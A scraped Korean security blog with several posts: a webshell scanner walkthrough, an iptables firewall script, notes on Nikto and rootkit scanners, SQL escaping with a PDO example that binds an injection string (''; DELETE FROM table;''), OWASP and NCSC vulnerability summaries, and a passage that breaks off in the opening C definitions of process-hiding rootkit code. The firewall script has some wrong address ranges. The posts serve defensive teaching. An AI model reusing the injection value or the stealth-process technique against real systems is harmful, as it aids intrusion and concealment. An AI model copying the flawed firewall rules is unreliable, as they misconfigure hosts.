whistl_kernel_2.6    이게 2.6 커널용입니다.  실행권한 죠서 실행시키죠
validate.bin            이건 아이디 패스가 암호화 돼 있는 파일인듯 합니다. 반드시  필요하죠.
pattern.bin            이건 환경설정을 저장하는 파일인듯 합니다.




whistl -c  하면  환경설정 화면으로 들어가고요..

whistl Configuration
        [1] Checking Directory : /home/www
        [2] Inspection Center directory : /home/whistl/tmp
        [3] Extension of php    : inc,php,htm,html
        [4] Extension of jsp    : jsp,js
        [s] save
        [q] quit
Choose Menu:

메뉴에서 수정할줄을 선택해서 값을 입력하면 됩니다.
값이 여러개일때는 , 로 나열 합니다.

만일 값을 주었는데 수정이 안된다면  pattern 파일에 대한 쓰기 권한이 있는지 확인해봐야 될듯 합니다.



실제 검사는 아래처럼...
검사시 디렉토리 추가는 -d 옵션으로 디렉을 지정해주면 된다고 하네요.
-u -p 안해주면 실행시키고 로그인 하게 돼 있습니다.

[root@localhost whistl]# ./whistl -u 아이디 -p 암호
Checking the configration
        [Config] Checking directory : /home/www
        [Config] Inspection Center directory : /home/whistl/tmp

Checking the update status
        [INFO] Pattern Update Finished

Checking /home/www directory
        [1 Found] /home/www/intra/board/imgskin/green/icon_re.php

Check Result
        [INFO] 5978 Files checked
        [INFO] 1 Suspected WebShell
        [INFO] Time cost : 00:28:50
        [INFO] Finish sending the checking result

[Press <ENTER> to continue]

        [1] [1 Found] /home/www/intra/board/imgskin/green/icon_re.php

[ view result(v), select (hit num), quit(q) ] :


파일 하나가 숨어 있네요... 이론.... X...

사이트 하나 체크에 30분 정도 걸리는거 같고요... 위에 파일수 6000개 정도...
4 cpu 인데  cpu 하나가 100% 나오는데...
load average  가  1 조금더 상승하네요..

큰 부하안걸려서 사이트 돌리는 중에 체크하셔도 될듯 하긴한데....
한번씩들 체크해보세요...


2010/06/04 00:20 2010/06/04 00:20
리룩스 상에서 iptable을 이용한 방화벽 설정입니다.
별로 쓸일이 많지는 않겠지만.
짬짬이 책보고 만든건데 기본적인건 해봤는데 몇가지는 테스트 못했습니다.
SSL 지원되는 IMAP이나 SECONDARY NAMESERVER 같은거 말이죠.
기본룰은 모든걸을 막고 필요한 것만을 통과시키는 규칙입니다.
윈도우용 편집기를 이용해서 작성하면 정상적인 작동이 안됩니다.
-------------------------------------------------------------------
#!/bin/sh
. /etc/rc.d/init.d/functions
. /etc/sysconfig/network
#네트워크가 활성화상태인지체크
if [ ${NETWORKING} = "no" ]; then
    exit 0
fi
#iptable설치확인
if [ ! -x /sbin/iptables ]; then
    exit 0
fi
#변수선언
IPADDR=`ifconfig eth0 | fgrep -i inet | cut -d : -f 2 | cut -d " " -f 1`    #ip주소
EXTERNAL_INTERFACE="eth0"            #외부인터넷연결인터페이스
LOOPBACK_INTERFACE="lo"            #루프백인터페이스
PRIMARY_NAMESERVER="111.111.111.111"        #1차내임서버
SECONDARY_NAMESERVER="222.222.222.222"    #2차내임서버
SMTP_SERVER="333.333.333.333"            #메일서버
LOOPBACK="127.0.0.0/8"            #예약된루프백주소범위
CLASS_A="10.0.0.0/8"                #A클래스사설ip범위
CLASS_B="172.16.0.0/12"            #B클래스사설ip범위
CLASS_C="192.168.0.1/16"            #C클래스사설ip범위
CLASS_D_MULTICAST="224.0.0.0/4"        #D클래스멀티캐스트주소
CLASS_E_RESERVED_NET="240.0.0.0/5"        #E클래스의예약된주소
BROADCAST_SRC="0.0.0.0"            #브로드캐스트소스주소
BROADCAST_DEST="255.255.255.224"        #브로드캐스트목적지주소
PRIVPORTS="0:1023"                #특권(privilege)을 준 포트범위
UNPRIVPORTS="1024:"                #특권을 주지않은(unprivilege)포트범위
SSH_LOCAL_PORTS="1022:65535"            #로컬클라이언트를 위한 포트범위
SSH_REMOTE_PORTS="513:65535"        #원격클라이언트를 위한 포트범위
TRACEROUTE_SRC_PORTS="32769:65535"
TRACEROUTE_DEST_PORTS="33434:33523"
#모든규칙삭제
iptables -F
#사용자정의 체인삭제
iptables -X
#기본정책을 DROP으로 한다
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
#루트백인터페이스에 대해 무제한의 트래픽을 허용
iptables -A INPUT -i $LOOPBACK_INTERFACE -j ACCEPT
iptables -A OUTPUT -o $LOOPBACK_INTERFACE -j ACCEPT
#./rc.firewall.blocked 파일에 있는 주소를 거부한다
if [ -f ./rc.firewall.blocked ]; then
    deny_file="./rc.firewall.blocked"
    while read ip_addy
    do
        case $ip_addy in
            *)echo "$ip_addy DROP"
            iptables -A INPUT -i $EXTERNAL_INTERFACE -s $ip_addy -j DROP
            iptables -A INPUT -i $EXTERNAL_INTERFACE -d $ip_addy -j DROP
            iptables -A OUTPUT -o $EXTERNAL_INTERFACE -s $ip_addy -j REJECT
            iptables -A OUTPUT -o $EXTERNAL_INTERFACE -d $ip_addy -j REJECT
        ;;
        esac
    done < $deny_file
    unset deny_file
fi
unset ip_addy
#./rc.firewall.accepted 파일에 있는 주소를 허락
if [ -f ./rc.firewall.accepted ]; then
    allow_file="./rc.firewall.accepted"
    while read ip_addy
    do
        case $ip_addy in
            *)echo "$ip_addy ACCEPT"
            iptables -A INPUT -i $EXTERNAL_INTERFACE -s $ip_addy -j ACCEPT
            iptables -A OUTPUT -o $EXTERNAL_INTERFACE -d $ip_addy -j ACCEPT
        ;;
        esac
    done < $allow_file
    unset allow_file
fi
unset ipaddr
#소스주소가 자신의 IP인 것처럼 위장해서 들어오는 패킷을 drop
iptables -A INPUT -s $IPADDR -j DROP
#소스주소가 A,B,C클래스의 사설IP인 패킷을거부
iptables -A INPUT -s $CLASS_A -j DROP
iptables -A INPUT -s $CLASS_B -j DROP
iptables -A INPUT -s $CLASS_C -j DROP
#브로드캐스트주소를 소스로하는 패킷을 차단
iptables -A INPUT -s $BROADCAST_DEST -j DROP
iptables -A INPUT -d $BROADCAST_SRC -j DROP
#D클래스 멀티캐스트 주소를 거부한다
iptables -A INPUT -s $CLASS_D_MULTICAST -j DROP
#예약된 E클래스 주소는 거부한다
iptables -A INPUT -s $CLASS_E_RESERVED_NET -j DROP
#IANA에 의해 예약된 특정주소거부(2001.01.04 기준)
iptables -A INPUT -s 0.0.0.0/8 -j DROP
iptables -A INPUT -s 127.0.0.0/8 -j DROP
iptables -A INPUT -s 169.0.2.0/24 -j DROP
iptables -A INPUT -s 192.0.2.0/24 -j DROP
iptables -A INPUT -s 224.0.0.9/3 -j DROP
#UDP TRACEROUTE(네임서버에 필요)
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port $TRACEROUTE_SRC_PORTS -d $IPADDR --destination-port $TRACEROUTE_DEST_PORTS -j DROP
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $TRACEROUTE_SRC_PORTS --destination-port $TRACEROUTE_DEST_PORTS -j ACCEPT
#포위드전용 DNS 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp -s $PRIMARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $UNPRIVPORTS -d $PRIMARY_NAMESERVER --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn -s $PRIMARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS -d $PRIMARY_NAMESERVER --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp -s $SECONDARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $UNPRIVPORTS -d $SECONDARY_NAMESERVER --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn -s $SECONDARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS -d $SECONDARY_NAMESERVER --destination-port 53 -j ACCEPT
#SSH 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $SSH_REMOTE_PORTS -d $IPADDR --destination-port 22 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 22 --destination-port $SSH_REMOTE_PORTS -j ACCEPT
#SSH 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $SSH_LOCAL_PORTS --destination-port 22 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 22 -d $IPADDR --destination-port $SSH_LOCAL_PORTS -j ACCEPT
#HTTP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 80 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 80 --destination-port $UNPRIVPORTS -j ACCEPT
#HTTPS 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 443 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 443 --destination-port $UNPRIVPORTS -j ACCEPT
#MYSQL 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 3306 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 3306 --destination-port $UNPRIVPORTS -j ACCEPT
#MYSQL 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 3306 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 3306 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#FTP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 21 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 21 --destination-port $UNPRIVPORTS -j ACCEPT
#FTP 포트모드서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port $UNPRIVPORTS -d $IPADDR --destination-port 20 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port 20 --destination-port $UNPRIVPORTS -j ACCEPT
#FTP 패시브모드서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port $UNPRIVPORTS --destination-port $UNPRIVPORTS -j ACCEPT
#POP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 110 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 110 --destination-port $UNPRIVPORTS -j ACCEPT
#POP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 110 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 110 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#IMAP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 143 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 143 --destination-port $UNPRIVPORTS -j ACCEPT
#IMAP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 143 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 143 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#SSL 지원되는 IMAP서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 993 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 993 --destination-port $UNPRIVPORTS -j ACCEPT
#SSL 지원되는 IMAP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 993 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 993 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#SMTP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 25 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 25 --destination-port $UNPRIVPORTS -j ACCEPT
#SMTP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 25 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 25 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#DNS 서버
#서버와 서버간 또는 클라이언트와의 질의 반응
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port 53 --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port 53 -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port 53 --destination-port 53 -j ACCEPT
#DNS 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#DNS Zone 전송
#PRIMARY NAMESERVER
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp -s $SECONDARY_NAMESERVER --source-port $UNPRIVPORTS -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port 53 -d $SECONDARY_NAMESERVER --destination-port $UNPRIVPORTS -j ACCEPT
#SECONDARY NAMESERVER
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp -s $PRIMARY_NAMESERVER --source-port $UNPRIVPORTS -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port 53 -d $PRIMARY_NAMESERVER --destination-port $UNPRIVPORTS -j ACCEPT
#ICMP
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type echo-reply -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type destination-unreachable -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type source-quench -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type time-exceeded -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type parameter-problem -d $IPADDR -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type fragmentation-needed -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type source-quench -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type echo-request -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type parameter-problem -j ACCEPT
#rsync 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 873 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 873 --destination-port $UNPRIVPORTS -j ACCEPT
#rsync 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 873 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 873 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#time 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 37 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 37 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
echo "FIREWALL START"



2010/06/04 00:06 2010/06/04 00:06

웹서버 취약점 점검도구 입니다.

Thanks to Edgeos for sponsoring Nikto!
Deploy your branded security services quickly and easily, including a full web-based portal for your customers, unlimited external and internal vulnerability assessments, automated professional reporting, and centralized management. The Edgeos platform is your company's security services, for your customers, and completely private labeled for your business!
Edgeos - Target Your Customers' Security


--------------------------------------------------------------------------------

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6100 potentially dangerous files/CGIs, checks for outdated versions of over 950 servers, and version specific problems on over 260 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

Nikto is not designed as an overly stealthy tool. It will test a web server in the quickest time possible, and is fairly obvious in log files. However, there is support for LibWhisker's anti-IDS methods in case you want to give it a try (or test your IDS system).


Not every check is a security problem, though most are. There are some items that are "info only" type checks that look for things that may not have a security flaw, but the webmaster or security engineer may not know are present on the server. These items are usually marked appropriately in the information printed. There are also some checks for unknown items which have been seen scanned for in log files.

Nikto is written by Chris Sullo and David Lodge.




2010/03/12 15:42 2010/03/12 15:42
magic_quote_gpc
Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all ' (single-quote), " (double quote), \\ (backslash) and NUL's are escaped with a backslash automatically.

이것은 자동으로 addslashes() 를 하는 옵션입니다.
하지만 sql 문법에 완전히 맞지 않습니다.
물론 \\ 로 escape 하는 문법을 지원해 주긴 합니다만, 원래의 문법은 아닙니다.
게다가 ; 는 escape 시키지 않으니 사소한 실수로 큰 보안구멍이 발생할 수 있습니다.

*_escape_string()
각 sql 별로 escape_string() 이라는 함수가 제공됩니다.
mysql_escape_string('문자열') 로 mysql 에 맞는 escape 된 문자열로 변환해 줍니다.
일반적으로 sql 의 문법은 문자열을 작은따옴표(') 로 묶고, 작은따옴표를 표현하는것은 작은따옴표 2번 입니다.('')
이것 '참' 좋군 이라는 문자열을 escape 시킨다면
이것 ''참'' 좋군 이 되고
query('INSERT INTO table VALUES (\\'이것 \\'\\'참\\'\\' 좋군\\');') 이 될 것입니다.


보통은 post 받은 문자열을 db 에 넣을 것이므로
$_POST = array_map('mysql_escape_string', $_POST); 로 한번에 escape 시키고 사용하면 됩니다.
주의할 것은 select 한 결과를 그대로 재사용할 때 다시 escape 시켜야 한다는 것입니다.
result 는 escape 되지 않은 문자열 입니다.

prepared query
좀더 안전하고 편리한 방법으로 prepared query 를 이용하는 방법이 있습니다.
INSERT INTO table (a, b) VALUES (:a, :b) 라는 쿼리를 미리 prepare (컴파일?) 시킵니다.
이 단계에서는 인젝션이 일어날 문자열이 아예 포함되지 않은채 prepare 됩니다.
그 다음 prepare 된 쿼리에 문자열을 bind 하여 쿼리를 실행합니다.
bind 단계에서는 파싱하지 않으므로 escape 시키지 않아도 안전합니다.

mysqli, pg 등이 제공하고, PDO 를 이용하면 손쉽게 적용할 수 있습니다.
$db = new PDO(접속);
$stmt = $db->prepare('INSERT INTO table (a, b) VALUES (:a, :b)');
$fields[':a'] = '\\'; DELETE FROM table;\\';
$fields[':b'] = '\\'; DELETE FROM table;\\';
$stmt->execute($fields);


bind 값인 :a, :b 는 문자열이든 수이든 따옴표를 쓰지 않습니다.
위의 예제 외에 bindParam() 함수를 이용하여 & 참조변수로 만들어 변수에 값만 채우고 execute() 하면 되는 방식도 있습니다.

WHERE 절에는 prepare binding 을 사용하지 않는것이 좋습니다.
sql 은 쿼리를 분석하여 최적의 인덱싱 방법을 결정합니다.
쿼리에 검색조건이 완전하지 않으면 일반적인 인덱싱밖에 적용될 수 없습니다.

어떻게 뚫을 수 있지? 아무리 생각해도 이 코드에서는 뚫을 수 없어. 그러니 귀찮게 escape 안시켜도 돼.
오만입니다. 개인의 생각에는 한계가 있고, 뚫린 후에는 늦습니다.
escape 는 프로그래머의 기본 예절 입니다.



2010/03/12 15:34 2010/03/12 15:34
사용자 삽입 이미지

- rkdscan 은 루트킷 전문 스캐너이다.

- 윈도용 루트킷을 잡아내는 기능을 제공한다.

- 최근 유행하는 윈도 원격 루트킷을 잡아낸다.




2009/09/30 21:48 2009/09/30 21:48
최근 웹 애플리케이션 공격이 급증하면서 웹 방화벽과 웹 취약점에 대한 관심이 커지고 있습니다.
OWASP 10 대 위협과 국정원 8대 취약성을 인지하고 있다면,  웹 방화벽이나 취약점분석 서비스를 선택하는데에 도움이 될 것이라 생각됩니다.

 1. OWASP 10대 위협!!
1. 입력값 검증 부재
  웹 애플리케이션 서비스를 요청하기 위해 애플리케이션에 데이터를 전송할 때 HTTP를 통해 URL, 쿼리(Query), 헤더(Header), 쿠키(Cookie), HTML 폼에 대한 정보를 전송한다. 이때 이 데이터 값을 악의적으로 변경해 시스템에 피해를 가할 수 있다.

2. 취약한 접근 통제
  가장 심각한 위협은 외부에서 관리자의 접근을 허용하는 것으로 루트 권한이나, 시스템 환경 구성 관리 권한을 제공하면 이 통로를 통해 전 시스템에 대한 접근이 허용될 수 있다.

3. 취약한 인증 및 세션 관리
  인증 관련 정보를 제어하는 프로그램에 대한 통제는 상대적으로 느슨하다. 세센에 실려 다니는 정보가 유츌되 위협이 발생할 수도 있다.

4. 크로스 사이트 스크립트
  특정 사이트에서 사용자가 정보를 받을 때 그 정보 내에 악의적인 코드를 숨겨놓아 이를 클라이언트에서 실행되도록 하는 기법이다.

5. 버퍼 오버플로우
  웹 서버, 웹 애플리케이션 서버에 대한 공격 유형이다. 웹 애플리케이션 자체의 버퍼 오버플로우에 대한 공격 유형과 비슷하다.

6. 삽입 취약점
  삽입 취약점은 웹 애플리케이션이 자체 로직을 이용해 외부의 모듈을 호출하는 것이다.

7. 부적절한 에러처리
  애플리케이션 실행 도중 에러가 발생한 경우에 해당 에러의 내용을 직접 사용자 화면에 보여주는 경우가 있다. 이 정보가 자바 익스프레션 덤프(Exception Dump)라면 사용자는 애플리케이션이 어떤 계층 구조로 이뤄져 있고 어디에서 어떤 문제가 발생하는지 알 수 있으며 이를 통해 시스템에 대한 공격을 할 수 있다.

8. 취약한 정보저장 방식
  웹 애플리케이션이 데이터베이스나 파일 시스템이 민감한 정보를 저장할 필요가 있다. 이들 정보는 외부에서 접근이 허용되지 않는 내부 망에 저장되는 경우가 대부분이지만 웹 서버에 저장돼 외부 취약점이 발생하기도 한다.

9. 서비스 방해공격
서비스 방해 공격은 웹 애플리케이션의 취약점을 이용해 해당 애플리케이션이 서비스 중단 상태로 가도록 하는 것이다.

10. 부적절한 환경 설정
 서버 환경 설정에서 일반적으로 일어나는 유형은 운영팀에서 적절한 보안 패치를 하지 않았을때 발생한다.

2. 국정원 8대 홈페이지 취약성
2005년 국가사이버안전센터(NCSC)에서 국내 각 기관에서 홈페이지 해킹에 많이 악용되었던 보안취약점 8종을 선정하고 발표하였다.

1. 디렉토리 리스팅 취약점
홈페이지의 속성을 설정하는 웹사이트 등록정보에 특정 디렉토리에 대하여
- IIS 서버 : 디렉토리 검색 항목이 체크
- Apache 서버 :  httpd.conf 파일에서 Indexes옵션이 On
되어 있는 경우에 인터넷 사용자에게 모든 디렉토리 및 파일 목록이 보여지게 되고, 파일의 열람 및 저장도 가능하게 되어 비공개 자료가 유출될 수 있다.

2. 파일 다운로드 취약점

게시판 등에 저장된 자료에 대해 다운로드 스크립트를 이용하여 다운로드 기능을 제공하면서, 대상 자료파일의 위치 지정에 제한조건을 부여하지 않았을 경우에 URL칸의 다운로드 스크립트의 인수 값에 ../문자열 등을 입력하여 시스템 디렉토리 등에 있는 /etc/passwd와 같은 비공개 자료들이 유출될 수 있다.

3.
 크로스사이트 스크립트 취약점
게시판에 새 게시물을 작성하여 등록할 때와 같이 사용자의 입력을 받아 처리하는 웹 응용프로그램에서 입력 내용에 대해 실행코드인 스크립트의 태그를 적절히 필터링하지 않을 경우에 악의적인 스크립트가 포함된 게시물을 등록할 수 있어 해당 게시물을 열람하는 일반 사용자의 pc로 부터 개인정보인 쿠키를 유출할 수 있는 등의 피해를 초래할 수 있다.

4.
 파일 업로드 취약점
첨부파일 업로드를 허용하는 홈페이지 게시판에서 .php, .jsp등의 확장자 이름의 스크립트 파일의 업로드를 허용할 경우에 해커가 악성 실행 프로그램을 업로드한 후에 홈페이지 접속방식으로 원격에서 서버컴퓨터의 시스템 운영 명령어를 실행 시킬 수 있다.
 
5.WebDAV 취약점- 원격 실행
윈도우 서버 컴퓨터에서 기본으로 설치되는 원격관리기능인 WebDAV가 계속 사용 가능하도록 설정되어 있고, WebDAV 라이브러리 파일의 속성 및 홈페이지 디렉토리에 쓰기 권한이 모두 허용되어 있는 경우에 해커가 WevDAV도구를 사용, 원격에서 홈페이지 디렉토리에 임으로 파일을 삽입하여 화면을 변조할 수 있다.

6.
 테크노트(Technote) 취약점
‘테크노트’의 일부 CGI프로그램들에서 인수 값 처리시에 ‘ㅣ’문자 이후에 나오는 컴퓨터 운영 명령어가 실행될 수 있는 결함이 있어 해커는 홈페이지접속 방식으로 컴퓨터 명령어를 실행하여 화면을 변조하거나 컴퓨터를 조작할 수 있다.
- Linux 및 Unix계열의 컴퓨터에 주로 사용
- Windows 계열에서 ‘Perl’이 지원될 경우 사용

7.
 제로보드(Zeroboard) 취약점
-
 ‘제로보드’의 일부 php프로그램이 원격에 있는 php파일을 실행할 수 있는 결함이 있어 해커는 홈페이지 접속 방식으로 컴퓨터 명령어를 실행하여 화면을 변조하거나 컴퓨터를 조작할 수 있다.
- Linux 및 Unix 계열의 컴퓨터에 주로 사용
- Windows 계열에서 ‘php’가 지원될 경우 사용

8.
 SQL Injection 취약점
웹 브라우저 주소 창 또는 사용자 ID 및 패스워드 입력화면에서 데이터베이스 SQL문에 사용되는 문자기호( )의 입력을 적절히 필터링 하지 않은 경우에 해커가 SQL 문으로 해석될 수 있도록 조작한 입력으로
데이터베이스를 인증 절차 없이 접근, 자료를 무단 유출하거나 변조할 수 있다.



2009/09/30 03:56 2009/09/30 03:56



2009/09/30 03:30 2009/09/30 03:30

http://cafe.naver.com/develx/26
위 주소에서 얻어옴...

///////////////////////////////////
어플리케이션 level에서 자신의 커널 level의 정보를 수정, 프로세서 고리를 끊는 방법으로

자기자신을 숨긴다.


별도의 디바이스드라이버를 작성하거나 등록 할 필요가 없어서 기존 프로그램에 손 쉽게 붙일 수 있다.

단지, 이 프로그램.... VISTA에서 안 돌아간다는거...

코드를 좀 수정하면 비스타에서도 가능 할 듯.. (프로세서 구조체의 번지만 다시 찾는다면은...)


// homin.cpp : Defines the entry point for the application.
//

#include "stdafx.h"

#include <malloc.h>
#include <windows.h>

//NTSTATUS값이 0이상이면 보통 성공한 상태를 의미한다
#define NT_SUCCESS(Status)    ((NTSTATUS)(Status) >= 0)
//사이즈를 잘못 맞춘 경우
#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L)

//NT함수가 사용하는 리턴 값인 NTSTATUS는 LONG형으로 정의된다
typedef LONG       NTSTATUS;

//원래 값이 엄청 많다
//16은 레퍼런스에는 나와있지 않은 값인데,
//이를 넣을 경우 SYSTEM_HANDLE_INFORMATION을 얻을 수 있다
typedef enum _SYSTEM_INFORMATION_CLASS
{
 SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

//시스템 핸들에 대한 정보를 가지고 있다
typedef struct _SYSTEM_HANDLE_INFORMATION
{
 ULONG   ProcessId;
 UCHAR   ObjectTypeNumber;
 UCHAR   Flags;
 USHORT   Handle;
 PVOID   Object;
 ACCESS_MASK  GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

//가상 메모리에 데이터를 쓰거나 읽을 때 사용하는 구조체이다
typedef struct _MEMORY_CHUNKS
{
 PVOID pVirtualAddress;
 PVOID pBuffer;
 DWORD dwBufferSize;
} MEMORY_CHUNKS, *PMEMORY_CHUNKS;

//ZwSystemDebugControl의 첫 번째 인자
typedef enum _SYSDBG_COMMAND
{
